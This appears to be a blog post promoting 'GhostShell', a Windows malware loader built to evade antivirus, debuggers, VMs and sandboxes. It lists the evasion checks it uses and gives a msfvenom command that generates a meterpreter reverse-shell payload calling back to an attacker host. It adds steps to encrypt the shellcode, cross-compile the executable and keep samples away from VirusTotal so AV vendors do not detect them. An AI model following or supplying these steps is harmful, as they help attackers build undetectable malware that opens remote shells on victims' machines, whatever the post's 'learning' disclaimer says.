GhostShell : Malware Indetectable With AV Bypass Techniques & Anti-Disassembly

GhostShell is a Malware indetectable, with AV bypass techniques, anti-disassembly, etc. In this malware, are used some techniques to try bypass the AVs, VMs, and Sandboxes, with only porpuse to learning more. I’m not responsible for your actions.

Attention!!!

To check if the antivirus is detecting the malware, NEVER send it to the virustotal, IT WILL BE SENT TO THE ANTIVIRUS COMPANIES AND WILL BE BROKEN, to analyze, send it to https://www.hybrid-analysis.com/ and remember to check the option “Do not send my sample to non-affiliated third parties”, as in the example below.

Also Read – Faraday : Collaborative Penetration Test & Vulnerability Management Platform

Bypass Techniques

  • Anti-Debugger : To try bypass the Debuggers, I’m using the “IsDebuggerPresent()” of “Windows.h” librarie to checks if a debugger is running.
  • Anti-VM / Anti-Sandbox / Anti-AV
    • Enumerate Process Function Enumerates all process running on the system, and compares to the process in the black-list, if found a process and this is equal to any process in the black-list returns -1 (identified).
    • Sleep Acceleration Check Function First, gets the current time, and sleeps 2 minutes, then, gets the time again, and compare, if the difference is less than 2, returns -1 (identified).
    • Mac Address Check Function Gets the system mac address and compare to the macs, in the black-list, if the system mac address is equal to any mac in the black-list returns -1 (identified).

Generating the Shellcode

To generate the shellcode type in the terminal: msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c, copy the shellcode generated and encrypt it.

  • To encrypt shellcode use the encrypt_shellcode script.
    • On linux type: ./encrypt_shellcode e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(shellcode)""
    • On windows type: encrypt_shellcode.exe e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(YOUR_SHELLCODE)""

How to compile for Windows on Linux?

To compile for Windows on Linux, first, install mingw-w64: sudo apt-get install mingw-w64, then, to compile for 32 bits: i686-w64-mingw32-gcc -o main.exe main.c -l psapi -static, and to 64 bits: x86_64-w64-mingw32 -o main.exe main.c -l psapi -static

R K

Recent Posts

Kali Linux 2024.4 Released, What’s New?

Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…

1 day ago

Lifetime-Amsi-EtwPatch : Disabling PowerShell’s AMSI And ETW Protections

This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…

1 day ago

GPOHunter – Active Directory Group Policy Security Analyzer

GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…

3 days ago

2024 MITRE ATT&CK Evaluation Results – Cynet Became a Leader With 100% Detection & Protection

Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…

6 days ago

SecHub : Streamlining Security Across Software Development Lifecycles

The free and open-source security platform SecHub, provides a central API to test software with…

1 week ago

Hawker : The Comprehensive OSINT Toolkit For Cybersecurity Professionals

Don't worry if there are any bugs in the tool, we will try to fix…

1 week ago